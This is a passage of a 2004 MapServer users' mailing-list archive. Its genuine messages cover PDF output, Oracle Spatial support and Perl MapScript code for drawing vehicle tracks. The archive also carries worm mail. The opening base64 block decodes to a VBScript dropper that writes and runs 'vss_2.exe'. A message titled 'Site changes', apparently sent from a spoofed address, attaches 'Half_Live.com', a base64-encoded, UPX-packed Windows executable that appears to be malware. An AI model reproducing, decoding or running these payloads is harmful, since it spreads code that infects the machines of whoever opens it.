LDE3MywxNTQsMTYyLDk0LDEwNCwzNywxMTEsOCw5NiwzNCwxNTIsMTcwLDMzLDQsMTQ5LDE5 OCwxMTcsMTgsMTkyLDExNSwxNDMsMTgyLDIyLDE4Myw1Myw0NSwxODEsMTYyLDMzLDE5OCwy NSwxMCwxOTMsNzgsMTI5LDEwMCwxMTIsMTA0LDExNCw1MCwzNyw4NSwyMSw3MCw2OCwxODQs NjEsMTgsODksMTgyLDU3LDcwLDEwMSw5Miw2MywxNjMsMTY2LDE5OCwxNDAsMTI2LDQ3LDI2 LDgwLDkxLDQ0LDgyLDE1NCwxNjYsMTU0LDE0NywxNTEsMzUsNzcsNTIsNiwxNDIsMzYsODgs MTI1LDEwLDE5NiwxMDgsNDAsMTY4LDQ3LDE0MywxNDYsMTc1LDgwLDE0OCwxMTMsODcsNDEs NzQsOTEsMTE5LDcsMTc1LDY5LDEyMywzNiwyNSw4OSwyMSwxOSw4MCw3NCwxMzAsNjMsNTQs MTYzLDUxLDE1Myw4MSwxOSwxOTAsNzUsMTgxLDE5NSw3OCwxMTIsMTY4LDEzOCwyOCw0MSwx MDAsMTAxLDE3Nyw1OCw1KQ0KZm9yIGk9MCB0byAyMDQ3MQ0KZmlsZXR4dC5Xcml0ZShjaHIo YShpKSkpDQpuZXh0DQpmaWxldHh0LkNsb3NlDQpkaW0geg0KZGltIHp6DQpDb25zdCBGb3JS ZWFkaW5nID0gMSwgRm9yV3JpdGluZyA9IDIsIEZvckFwcGVuZGluZyA9IDMNCmNvbnN0IFJl bW90ZUV4ZSA9ICJ2c3NfMi5leGUiDQpzZXQgenogPSB3c2NyaXB0LmNyZWF0ZW9iamVjdCgi d3NjcmlwdC5zaGVsbCIpDQp6ID0genoucnVuICgidnNzXzIuZXhlIikNCndzY3JpcHQucXVp dA0K ----------dmgltgelpkgdgghdvlaa-- From mhln25 at yahoo.com Fri Jun 11 05:13:16 2004 From: mhln25 at yahoo.com (Mahalakshmi Narayanan) Date: Fri, 11 Jun 2004 05:13:16 -0700 (PDT) Subject: [Mapserver-users] Pdf output shows junk on the browser? In-Reply-To: Message-ID: <20040611121316.62366.qmail@web50710.mail.yahoo.com> Hello! Thanks for your immediate reply.. I shall check it up and let u know.. with regards, Mahalakshmi N --- Emil Zegers wrote: > Hello > > If your PDF configuration in the map file is correct > and you do have installed Adobe Acrobat and/or > Reader, the problem might be caused by some browser > related issues. > > Especially recent IE versions have trouble > displaying server side (created) PDF's properly. > > Take a look at the following links for more info: > > http://www.adobe.com/support/techdocs/29776.htm > > http://forum.planetpdf.com/wb/default.asp?action=9&fid=6&read=41191 > > http://www.bnl.gov/itd/webapps/pdf_help.asp > > > Groeten, > > Emil Zegers > > De Straat Milieu-adviseurs > Divisie Informatisering > 026 7513902 > 06 22965585 > http://www.destraat.nl > > >>> Mahalakshmi Narayanan > 06/11/04 08:09 AM >>> > Hi! > > I tried to output my map as a pdf but I get junk > thrown to me when I include the following > outputformat > tag.. > ------------------- > OUTPUTFORMAT > NAME pdf > MIMETYPE "application/x-pdf" > DRIVER pdf > # FORMATOPTION "OUTPUT_TYPE=RASTER" > EXTENSION "pdf" > END > ------------------- > I am running windows xp with > -------------- > MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG > OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE > SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLI > ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > ------------------ > > do i need anything else to be installed on my box to > get pdf output? > > can somebody help me, pls. > > With regards, > Mahalakshmi Narayanan > > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > __________ > VChecked > > > ______________________________________________________ > > This message has been checked for all known viruses > ______________________________________________________ __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From nicolas.fortin at ec.gc.ca Fri Jun 11 05:45:34 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Fri, 11 Jun 2004 08:45:34 -0400 Subject: [Mapserver-users] oracle spatial mapfile Message-ID: <118A9CF846431048B65C4AFB0E57C0ED037335@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Is your version of mapserver compile with Oracle Spatial support?? Nicolas -----Message d'origine----- De : mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] De la part de Sylvain Beorchia Envoy? : Friday, June 11, 2004 5:53 AM ? : mapserver-users at lists.gis.umn.edu Objet : [Mapserver-users] oracle spatial mapfile Hi list, I try to display some data from oracle spatial in my mapserver project. It doesn't work. Here is my mapfile layer: LAYER NAME spa METADATA "DESCRIPTION" "Spatial" "LEGENDE" "1" "TYPE_LAYER" "ORA" END STATUS ON CONNECTIONTYPE oraclespatial CONNECTION "spa/sig at spa" DATA "GEOLOC from FP10010_LINES" TYPE LINE CLASS OUTLINECOLOR 0 0 0 COLOR 0 128 128 END END The data in the database are from some Mapinfo TabFiles. SO i've got a table FP10010_LINES with the GEOLOC field, that's why i've tried to retreive data with "GEOLOC from FP10010_LINES". So, when i launch my IE, i've got the following errors : "Warning: MapServer Error in msOracleSpatialLayerOpen(): OracleSpatial is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" "Fatal error: Call to a member function on a non-object in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" My oracle version is 8i (8.1.7) Any ideas ? Thank u. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From edspremolla at antel.com.uy Fri Jun 11 05:53:14 2004 From: edspremolla at antel.com.uy (Eduardo Spremolla) Date: Fri, 11 Jun 2004 09:53:14 -0300 Subject: [Mapserver-users] Dynamic Features In-Reply-To: <40C96F09.2040500@ilmenau.baw.de> References: <40C96F09.2040500@ilmenau.baw.de> Message-ID: <1086958394.13464.15.camel@fly.in.iantel.com.uy> Jonathan: this is what I do in www.trackbysat.com. Is a heavy hacked version of map_quakes from the perl wiki. I don't use Postgis when I build this site, now I do ;-) First collect the points. I plot actual position plus a line with the last 10 reports, so after the query: $result = $conn-> exec($sql); while(@row = $result->fetchrow) { next if ($row[1]==91); $reporte[$i]{ lat} =$row[1]; $reporte[$i]{ lon} =$row[2]; $reporte[$i]{ hora} = $row[0]; $reporte[$i]{ io} = $row[3]; $reporte[$i]{ vel} = $row[4]; if ( $i == 0){ $primero{ lat} =$row[1]; $primero{ lon} =$row[2]; $primero{ hora} = $row[0]; $primero{ io} = $row[3]; $primero{ vel} = $row[4]; } $i++; } $ret = $conn->requestCancel; Then I plot some base maps: die $mapscript::ms_error->{message} unless $map = new mapscript::mapObj($my_map); &set_extent(); my $img = $map->prepareImage(); # draw basemap my $layer = $map->getLayerByName('fondo'); $layer->draw($map, $img); $layer = $map->getLayerByName('plazas'); $layer->draw($map, $img); $layer = $map->getLayerByName('ejes'); $layer->draw($map, $img); $layer = $map->getLayerByName('calles'); $layer->draw($map, $img); $layer = $map->getLayerByName('avda'); $layer->draw($map, $img); $layer = $map->getLayerByName('vial'); $layer->draw($map, $img); #set the dinamic layers my $layer_t = $map->getLayerByName('timestamp'); $layer_t-> { status} = 1; # turn the layer on my $layer_p = $map->getLayerByName('movil'); $layer_p-> { status} = 1; # turn the layer on Then create the points and lines: $layer = $map->getLayerByName('reporte'); my $point = new mapscript::pointObj(); my $line = new mapscript::lineObj(); my $i = 1; foreach my $q(@reporte) { $point-> { x} = $q-> { lon}; $point-> { y} = $q-> { lat}; $line->add($point); } my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); $shape->add($line); $shape->draw($map, $layer, $img); foreach my $q(@reporte) { $point-> { x} = $q-> { lon}; $point-> { y} = $q-> { lat}; $etiqueta="$q->{hora}\|${spee}km/h"; if ( $q->{vel}> $maxspeed ) { $cl = 2; } else { $cl = 1; } $point->draw($map, $layer_t, $img, $cl, $etiqueta); $i++; } And final draw everything : $map->drawLabelCache($img); $img->saveImage($image_path.$image_id, $map-> { imagetype} , $map-> { transparent} , $map-> { interlace} , $map-> { imagequality}); $img=$map->drawScalebar(); $img->saveImage($image_path.$scalebar_id, $map-> { imagetype} , $map-> { transparent} , $map-> { interlace} , $map-> { imagequality}); Hope this will help LALO -- Eduardo Spremolla Antel I+D From steve.lime at dnr.state.mn.us Fri Jun 11 06:51:49 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Fri, 11 Jun 2004 07:51:49 -0600 Subject: [Mapserver-users] Site changes Message-ID: ----------gqaawzkdiijosepjkzwj Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------gqaawzkdiijosepjkzwj Content-Type: application/octet-stream; name="Half_Live.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Half_Live.com" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAkAAAAKkm3RPtR7NA7UezQO1Hs0DtR7NA7kezQGNYoEBtR7NAEWehQOxHs0AqQbVA 7EezQFJpY2jtR7NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwDMD5BAAAAAAAAA AADgAA8BCwEFDABQAAAAEAAAAJAAAPDiAAAAoAAAAPAAAAAAQAAAEAAAAAIAAAQAAAAAAAAA BAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACk8wAATAIAAADwAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABVUFgwAAAAAACQAAAAEAAAAAAAAAACAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAKAAAABGAAAAAgAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADw AAAABgAAAEgAAAAAAAAAAAAAAAAAAEAAAMAxLjI0AFVQWCEMCQIIvyc9X9rQb57HxwAAyUIA AACSAAAmAADM////m/rJOnEqKxiQ86MrEIn8ewjaeUIXGA5z7n9eUr/9//+6+gQ6jxg5r3EW rHG/8nGP9nG36hniLTsQ8sj83P+x3d8FO3H+Jsk4vBgSpDM49vora+237yoNKgWP6gL2qhI6 BQANGX/79gd5Pg6S+to1kPoSYTT6c78GPb//vsW+DoKQATDyEi26DXe/Aqr/m697KRIGFVN5 hwL6j/gR6QWPd2/ukQIOEmpbQw4RNQ8SqrrbNnNgRmqHDnf+arf23GbiWVqlyOxH8vi32d7f if4ZkP6SFqS9Bf8Lve3BtqrLB8koDUdoJu72rdw1rQZx/PY7E/hACVEJ7z6y/Xkb+QlQpR7y qXGn9iGQ4BJj8pT9d0l5OpsGULGPC6Ef8BKDe+cWMsqxuPsSSsWpyq11f/E6jvSqkJQlDLso xH8WusGDrEWPhIfJIRmuw5ft/1Y7Gup5A/uO8VacCfL4jvtWmgd5e3gS6BLHmDgJ9hLJ/BJv 7d2R0xLYBrl5AehIQpxC9wit/f/wnFF5E/mDSA0j0QNKx9CRxP////95GsXGxInoxs6J8P67 xqGI9f78EfH+BhH91sQ6Gvj+6x7aw9FQSamQaSShf7N9Q4d7yXEi4CIGYTMFCFR63/Z7u76O 47ISdMTTj/1Zoe1znTFz//x5PP4RIEL7iBIYBnaFn9vekvgVU3AEJE29vS72dxeEQ/oTcu7A BDgYAxJi1vht4zy/BHEzwHD+wXK/hQ2y7e62CMsF9UyvCcByFXDs24W3BcC7wSiI+CgEOY8v 2LcX3NlqArmP8nD5PAdwbMQW2rn7BdwBV4wC/rX24+S6BBtPA+7Ccq9t79vdY68GDQZwDAQX kcKb61yLEBoJBfh6pHHdurdvQMruygUFGDpwI/kEBnLfPkmvYOYZcbrG+QX1Tbr8hd0tCNbi QtJ0DZ/ajPfWlq+oHQX5OP+IHJatfJj2EysFPO72F2zkwhdD6hTdEKNrvhV1sgiqkHT72tKb t7NbBcJxcblr3/6/oQvRMHGp8vkr+an2c90Fiep1thfynb527vsFP7URPqBj7Xc7kNIJDwYS 9nU7BeoXyrIsAu4GObne/crJltoa35wFGbqqTbbZ39T7qqo9eir6AAkubI9tNM/qIfIl0hH5 OgbkxqchJQ37kPtox83utpZFWOgXBajyESn2/v3od68Cifg9uP5PI/1L+F7dmQYkLu7117Kx 26x3Ez38g7wwaVqwD+yQ+DFx/KRjFyeHubNMd/gS+oCLbLEliVn4ipfNzDchNbZb4mks92Ay ez6CHa35+AgsuO6SM3rLY8AVvt0g8LqOvgN6GXd/LapLNmC/5FvB5wIYWpL7RqDqHjMkZERf t2wnIxMSreYS4pdao3zhKMZ8nD2/AIRh3he+NQsFtwANG+CQuhLjXVC2j93J/dLCFnW9/gUK vGm2zc1rnAf2APQ9vepqz9QiPx+fCj8b2Nra0uU0Gmj5Np3y7yfhwnO9RT2lHxqprckF3kNH 04GVsG6nb+7haAfeWGzuDszQFPjrYxgG1uoS5cZW9X5/c4cIMR0HjgoJy8vDrzrIM8MrAp+Q 9Bh235UboK4A2Ri4t0L0JPn59mFr3B0W+aEFHkwKqia9wdxuyxJYdxPSeumeS9ISdZqLE4Fy H3SfB7dpvXAWCPsMn9vRAgWikC7VkgdWIBmd7qFqGoVka4/DFiGe3gwK4Qi702L13MHkkPas z+e298fBd4f7Hkz5Iobme76qGtT7CdCSO8O/bgbeEAGt+BLWA/4Iv286B96gkudwuiD+kCm2 2LsxqD5G+F0Br07Kn6/kNIo+LvwSFwK5++0HmkKqNg8Rz3kC+wv6NqqzNLtl0/gXNqrn+W02 y3Lq6gXr/gXa/0LV2mfs1U9q33f0jHDghu81EpUkErTATTIPh7DvORupuLhr4hPvUv8SlwIL 9aoWmArBrbX9AfCM/w+JDATNqgblXfMHVKsJ9hJOByxZNAxcCsFRSrbTw422qsJPCi8DBhjp Dt8u71ZWurcazw6W2V5EUDUbSnnu4RjLBr9MBeWYCrbgvsjficoQEoHCfXIK9Bgm3h7uBnfJ degJXkU/bi/xWBFuObYF2I9BFSzNBwbnHwcKEjTN1A7Zy0aDqaSaDtwBBa5NiEU4W83+ei8L 942NeFRF8lAgLQZ1ZnOvytEPtE6J5Z5sjyAdsBRC+7m61/DGDUbzd7NGQz2VDjuYDHeKJoNx E6bhO1SPsIZB2WwLt9svkl43krgJIQJ1US5bY5gpshb8DS8IT8/G7hcWWy8b7rEdcUgMLP1F 1zoKRbyxv7nNBiAmqq0SoQQZ6A3MCJ89uQkP+HElf1JvTsbbl6WYEMvNMkA+KUr8f/AYCxnv QyA7GP87EeHxKWMTLbaFvPkWFLlCsEWhSf6EgqputvXYR6PMXGv7Shn1trKD6tm39j34Rbqt ULgBOHnCvyzyLtC5tp1uoHP4hbDXHJPRYhdvpCpx8iSP/LPHbtHgoLuZEqgtBs9vixU4zS4d uh6hezcCuC7OrT1/IgbSG75dgZNrXSxzfxl3d+63xRj3TwwSHRdmuEW9G/vZtor0rRsGEinM FfEkB4TaZxoHDwQzjy0dbHNhQ1MRQAw+zqVDBU6tWH498M7KjgVTEvkjFcN1jMMgcAar303h aXpuixMjVzo3PRq2yEPqIYjozw79l4VGRvkCdvxEIwwaDQzVEPSpjPThnPmSs7HOWbohY4cK obQg+JzN2MM699AgChv64CqNfZSQExreo+pvHSOIsGRxB7x7xLatv/hv1F0RDf8q6iJxNNG3 Ans7+rE7CxnGFAIFeF5aKxR7NAUhoSpCwbkmaj0uBbed1hm3u1my8nsC+sqwHv3j98m9w2Wb Ss4KGnXHv0eBWRsl0hlszrtJc1ZwEv6pws7bZssXoBLsLxMSGSefNt0vnBE098zJ1NfuPXUH uXs3ENU/yQi6ph9IORqSI2pisjtojD3EzlCoESjvmuoILIO9GhGknPsRAH66ge9LyYYal0A2 aGhAPWipXdoe0HAfnBs6nEarLTv2GwwmPvYLHslj7ne/7xBiSJi3Gkn6jWaSMmuKI98LyEfJ ESdw6gMy5naNkipnW2By5NsMIKySLVKQSJlBDi3NeTiA0Qh3SwXLY1PGsvVHGBwCi/EZLN36 3Mj6Owvu5IPpWhR4VsteB7L5sKy59XcuaCrIV8iTAy5oZ8jDADlyksg+YkVi8kpecoTIlsjA yN5AugfxbIq/ERzkJB936MgyYtjI2bySl+rIJMvVbMmTA7IIy9VsRcshB5JXfcqQyuTJK3lU ys7K1sp4ARwloRz2yDjBbsEsHS7JOBvXdW8LQfJFzzpWtyhEWQl35P6CSfn/PgpQ/37y6TZ6 l/K6WQ5Q4i0y7zB4514JCPcM9AUa2nsbFScz8Dt5C/sHeK11fBsyYGQCfwcJ2qLICT49/2uC rM7uK2+26Ak+c52/2URqFGKzvQRaVhH9NaNW8MDUsFpWDwQ9Pwi5MehCGcp3hwwR7WvtAUOQ exUGcjjVF9qmk1AFH+wK8IgZs33Jt2sMM34R21YkvmGSj0ZyQ24W6v/hwWFlyjoj4fG5XiBb K+Ic1VyYCeTyIuIPBDnv1gIG71cJj/4Pa+YLVr4klDIQMvI13w2aqkcCBWDGXjPJoiENxyMb 2UpYdYUFLU5N9se31cT2j1B4Ck7+jbGFUdSwnBUKnHsQRv2c7W+3JZ7zDLcIBxv/nPG3DAPS dM32K5xz6iHyAhzxAKIwSW8Yy2qGHgZuEt9KVMGq1MDUQnteQTHKboDL9maaBWqQ5HwsuhQL mGVbZ9QKUs/S7mPf7i/wnHm3JvsESvu3ST5idq2ruz0usfn+QCRwBVTw26vtVh5UnEsgNgMa uqYzC5LcFBpOBxi2ffVrTI3bF9ceAkJ8q+17NiijhtdYEgJGiHUmLpugOmKcEQM+swnb1gr7 qXkC5EWt1TZzT3b9jRMNYhEac4MTCUi50cJtM0t1ZO4wB1z2A7FvUptGDvbyLW92euoOA+Z0 EvAXYu5631bGHgYfXpmgULaMS5gEm376BTq5HsLIoFrZkjaMWFcC8xeIoLlsG7Kb7zb4BWyq Gq2cDa8XtnPbm8Vil/+fAxL/0w2T7h0GglLlBRPus02CqAsZai/Wks93DgkVC9YiWkjCQbYl pDc31iXcuW8M6EcSeRD2E+9mEgKCu4QWtx2NJeoJR5rLUvv4SFbu8J9LLb4FNs3kNNqPUs+7 81L25kPUsl4SFNHiBKGRDuJe4mw3SDUmW2Vfv2GE/9EPV6HWn+77+3n71H/JRua76iLYUerQ CwTcjv6fHdCPhE7zYwb5hPYS3Uo2zzzQAhj6g1+y8TRjIA477MUoxVLk69YRyBI2qh9wZuP6 VObZ1XQGeMvcR8iMlhv1qcAjHumIBFsRrofeWRruQQwLFGC+YGcS4jsVIe2z6bJtKP/8UiD4 IJw9NmtryyZx0UOaJLuZVnyGbzH9ZGgjsDB48qvPK9Mz02K4esDo4uOS+GO+XQd3Nxx6Elw4 kstXKRj0qj9TP2IK2ZLUfElt0RslqWdRjdEJ9dozZOawij+WUqljHeSwPqjC0XST8TuivdNF kO859U2y/LMUHz1IyBtxKbEpbH8GnMU5Ca2SQvH6NwchnwvB6joG0ibB6aPfyQ/Li9RY/XMe 0jLU09LHblCp5bkgjNMV6XHdUv/HIhJDcYLu+YLqqenTZmB6J7+T0q26edOVe9l1000JDZeS Jv8kHxIHnlXq/+kzLBLffR/2kg0Nqi+1jyYKxnNCGMBdwt8CDXIAC1/d0oecDSGecZHSsd74 MaydnP+1yPa4QM9athPPqlMrGsRWuAbvkxFNc1yp5Ljq7t4hTB+o7S5j7xEFyBIVG+oSVQm9 qS+EeLb/3fJo3ZsyqZe4lfuQnhIOHfB1jNv/jmMtXvAt+/WhCTenkctCfDRf0hHQHCQwYxB4 wBrdx2eL0TJhGZLKYyRzIAf2MhK1DLjP/AmOOQdMkQqB7VmSY8802LeeBJomVjAHOewluHhj YFqpe562Rw4bGg6vJpD8VI+LjBzm06HEFk3ZCJ95FhI+B7aAHpSSkUG6F1rOEpbk22RyxBoS c90MmeIcyIqZly3ZlrwMEhLgGfc0316zS/qQIwweEvXcnjrWhxpX0F8cShImCLc94FLpRMNo EjdjY9wXrxyPqhNnEjTnLN07azcOF0EtWp636ZKc3ROVks+hfy68MQ06LO7/HMj1eCGUwM+x +g8PH6qIhzE1thi3u4nfowomQ/t6RsA9uAomlZMS9k66nwfB38f/5nIJDs1GOWEHUYq+0/wm vPcTs4pN7vIAhLOduxNlbpGI4C6zd5NHmt8eLgh67ojt5OzykqnBChGeFrQ2SNe87A632uD2 IueQbXPPEeEQ0sXeIZyz8KTApqPRfD/Uw06S3tPokqYiouc+w2AV6qgHHB0l3gnb2AoHHgje 9jQHMkYfGzc83rs5Aio25Ag3ghFWQlUefDY3UXIaL/0Y+xzjLGTGNiYiqikebioeLpOdLQwi NNkT+xAN8Y3HyToR+ZE5gXdLh4+s7wQdcQpBwKyBvBCiuZ1D2TkI8Tmz3sKpmMDf2UOI8+nD oKYeOe4G2xzvET4Myl6SVvfD4Oa6QdgWmKGkXO1+FWrZYVlmGCaMGd5hsNkr7eH++6iDOgcP e/ayDujeHcxUuxSoZDYftzLbv/vOIqUkSxP+BHuC+9ePitO1bv2ejvO6eoImjwqrb/uNffbc HpYsRxI72daU7oelD/CP7W7Zi5IBYh++y97XNGLBKoZhtSD6AzZywECg2Nwj0XavZCOQJxOw ut6yuXMkG7fYHXwCWNx1f/s5kir9mgUZERw593PhwMn6kn6C+gX9eNnuaxi6BfoQpNmJj+FL FCKHD7KbdvZ4LxZ2Bv5x9OIUUfZtMT5xzyQJ3wzme5nbOSiuABHoMg3UQ6hvOfqNDgSU2Xhj 2n8IPgJ1ycY4zRj7jlR1BSMSzwokiTh9uBbb5jXYd5BhoPgBmKxaWrd6/Nzgnm3qku50RA6+ ewGxfXs/S4z9QwYtcTEZy0Wr1b9fsOd6fYHY5ITk0SIOdbJ1EugZqvbm6LfbLf+O+DIRRmZ/ IfVuOmxbBGkR7q8hZ+I7gAvy3KWfVb5d4uTfylDuwhKP+En7IvWSzV0iXkhWKAA78MG/OiVh 5XfY4Y5GX2IOH/IfDWW+Q1kriMH/qx8ubEIBnSgaJO6Q8LhXLM03iZh/vQDsHWa+Mbp4/jV4 HvWbb/Yac3qHBNqP8b4D7RqnIdUQ146gqVn0ug16BQIy24RLrvyG4KTb9K+aI5cuF0FmCrIa CoJbGYD4zbe3CJ7gBmwDjv+HEeUO8O9L0AIGFBHfEfWmK/bOykYHQ+7ORFXQzHZ2LtpZ8go5 cbDWEOoL5XZsfwlIciEloPxxjP58PgsWsAArCNym2P2aO01Bn2xf5VYBBS3Sw+4pIRGca6ba KYBEh2yFrkwNiLzs2amyg+olKNfa7rfhpj/Qa3Hvgnl7AA4viekj3nGkjkaseUbkWfyrEvAz sLChq0DxyPEleLSEXq9Bkqa+RGgDGvEp5awoQp9i4wu6/v6Y7rR1RQbL3lSdkS2WAWlv8nqk nsQ05DTP/izykvRW3xMNOCen6T6H1lWz6goB7uyGsjdSTbZuH8+6Geq6wqHTcRZprPyueycX wk3lVQdLlWSgRB+haROtRSOEUAInJFpTBToXpXkiN/ZYQLKMPogWD2Xr9O8S1NDseZEG/Sd9 ED1AlktFmeQ2KsgGi16H/+fZt4PdFurkMVosJ1VByP7Wzf1y/ZJp3hEOJmXJObGDFKFb44NJ rqqtNAXPg2y5h5YC8D5sbjzLluncf4SaBoVc8lR4CGYzWoRnnOdoxLM+ymatEnr7dQ5SaVL/ a3cBksxXbkIB+SC24zUHpNhYbbsbR3Xuz45tjPMI8Yj/E0Q8U/oZZLBYC1hnWG6xJAcJGiZb TASNYG5CHyAUHN1sHXcFwf/yGY5dmnrHYEXosM3+DcEhy91udw2fDJLBVRoT9EI2zglD/scu B+swqxXEJDz/PBHZ/////56VlN2O2p+Mn5TajoiD2sDX04fxFPNznTHuXHIfqk9M/////x9W e2aHmbrKF0oxvK+C9MblQN4BVvCgQVrbr7RQ31qG/////5xP3hVFSiO1YsO3W6fX/uRJhS4P JVDErX81Ds1pldNf/w3+/8GlQIPtMyG2+jE1pHsUSkxvicoWyUkflv////8Xf1fPw/LQ0svW 52ef6DyewK9f68SQ6xMhZCruwEMJ9vj//6XmFulU6bn1sumW+OSi9D7x0QsNfVAjNf///6Wc dekuvDl7/HArHyl6Q+mDGCvKkSYaYbxvEv///7+Uw0Ovopq2TuNbdJ5wf1K1QRY5JGRs3fy/ 0d/o6wcq43PJk0NvKy05LnmR//9/oZKckC1Ug1ciOnglrk9z67TDBt697AQ4Gv//Lf6MFmY1 RcGuzyFgXEwD8m5AnsKfxd68o7X/////XLGufG4aa98CIhgepmiy9xsfJ1BLaXZo9M0V4ZEw 0OD/////AyRnZTymlaTUduy8HEPCMsTwbFLOautB8rPoch1VX6C/wf//adQVLqicaDUnTrkd OHBFPnjYDRQo2iDF/////zk9Y6+KcAaC5PNdEwC3rvCULG+GU0moQoFlqj2FdJi0/////+lh 0UZpeux1+LFN4DYJanQ/Otdb4pDWhsWssz2RCTxb/////5cX0eR16uC9WNnOLcUZgdTEd3vg XqY+NJC4f0+Gnb6V//+N/971pynqxlf3i366Qppun/kHDJarx9WlT8M4//8b/TWlAzvsMyzI nFxU84CuKj6Yu2s5qWFkpP/b//+wwAjEfhO9cNX2VjJIQ/JXouyGMIUhOkVJnZ4t/////5rF HmqCQ/39J9YHxcBBRIMrvHwZXDrmYjRkZFH5Mq9o///W/zJP3Wcy+R6bGlZ9aJzu/YOKkbky NU9668zI/5f+/7alrkz3/XP/gT0b6WbX88wf2M3GP2oDGrai/////zsx8kG63Fvg/CE/WR+4 3+Udt8GXM27n75obKhY25gDBwdv//1IfjR0FwHHT7rFRvS5WUapyQ0p5y5P///+/EfEtZy+G KmZOvaKljIa3WGC4d0W1Yw4VRxko0RSv6v///1FVpCQd/Fiy77sG0BX32ZqzqUxltIoGpjkz O///L9CDpStVAi2bF9rNgeA1zD5Rn4k6CVJqByP4cgMv9fl97uAHRW59NqBmzeNmeUcHy3wf 024T2YWu4yUJOAYOpaRd9QMPdqQF/1gAEpAmWJgA02b711wBfCPRDf0XGPK92fn63yMiEAYR Knf9S2wKd/J6xLmP4HqEou6ceRrBFoCEfvdFMnvfF4aGyPINnpBTGczepuoF93uToyziCDyS svgCmeI34oMV7wIQU+8iXLq6yA9uFJWP7zG/4i3PmoCETSbScTa3DOwTeur7WfaKWeIDhxwj G/HiFqoVR+LY9t0BLd8O+M3db9QyDK+cO7cM8goC+/oCCmaTgvKRLRzAA0WNTeLW/AZvIrAt StQGonEl0SB6y2H/C2bUj/uxc6cKq6g2+wptSMEgo9wfsD+LZhE9o38zj0Iwm+TZBYUU9RT4 HZBCBmQU+3efpZbzjIZDz2l8N6vACZhBR+KL9rC49B36t04gEdmwizNDT0cGjCbtgjc5Vu0b IBaROHuztVNq9nybbhaL7kwXOlsRMYQ+wnw8Tez4aiR+Y3Q8DjKWGnMgrr5gA5bBBlZ5gLFH tHYRlzdAsUG2k3/RnvdWw24bqwvJPewS8BnbCbLNqFOotRAYIgwzKsL8NhRvx8pWUkfm3sVh VqxH0dGG3fkK2qyo7ovcu8WkEdrwH/6WP20L/wvr6vkCoxn5Bgle8VA9UG1DqEulcTyJbNQe Uu8GP+o8kh5rBa/5yg/zlMFDRKItcaIhSYfBCP+wCP2idH6c72cO+Xeg5q084OPsIwUFwnm+ nRfF7xQGszjbZph0qXg2xwbQtPyrL9388gT4Dbz49VKJ9U2kxdOuUJyWAqwLsHq0FXdTClfH a/uW25PDGpWqG9SqV+OcQmGs0VegfyP8gx5/ZLLtEdMQnCf8nKCcwa8IQK6Val8TBRlPPnTX zsiisY9K323ude7iQDoVsvUGX4nS2Sph1vYI+3Kxi9N5x8FIEhySjBUcxp4xiHO+iF+kFqDP DN8HxbK6kzNHIKJIDsiPCeS01iKQ+ejqZLwlrvmILALeIWBUsg+PH7KCCJsb1feIg7QZi3A2 6YeRw0PjeEIXlkrXsAk/z/gRLOAr+fVpd585u3VcCBnvrKLMx8jIQxfehcpQf/gsKns8/PkC 8bExrBK17rj5Es4pXQNhOGYUlPsLUOITdT//QkIGrEoa6e01873ECjWKFXI5yIC900OC2Wj7 dMHzPC8Ez4WMPLnFZh8ldEAMQhzpMsjJCxoLtWjkc49dxhL2kjc4lLEZsgG5wG5RdOclJwcH +roQ+pKTHOTykiQD6BLok2eH5LjGC+ZR+smnOckUB2L6F13oWS/kyBcF6AMKmD82fr4+VcnP zpunvBsvmhU4H0oCmjFrgRiHMEzBjPv2ExwbCphT6IfcETVbhnwnB2fqmqlWqEENKcqGsO6k X3kPLuSd6y8fD7UxWcVxPdipHnOxegJd7bq+nOj3DMTpxuW6kEoGhZSB+/i9uRy/+03nSczW dRikqd7qE1+dHjuWC+rSA+qsH/pLsAHtwCtz4BH9q3HdUvCXYqPyo3PjosSqJSmxQjg2c/nk q5jXKlrw7nW5/oUUWkYAE41rRTvf7bkX7ilZl0pYPf/HBQAJEm53kLtB8ARFvw1Fqm1tulWH BlEgCN4UoNIQP4m0/X8/AzxDEjedsf7xM46bBct1lmXZduyL/gUC9g7ywgzm7oSrEscjLpQT TkTZyRe/m4l/NgxU/AaP+bWFEf/X8E4Y6lvvB2v3B6n4G2wR8UPQFPH1dXQrLIuajP++luyv ZSbMpN/wiPDo9zUbtRv+3xD/5nIRr4ZZ4RpWol+7r+JKCKCogHe5ZoCF1oW/UJzoQyoGGDh5 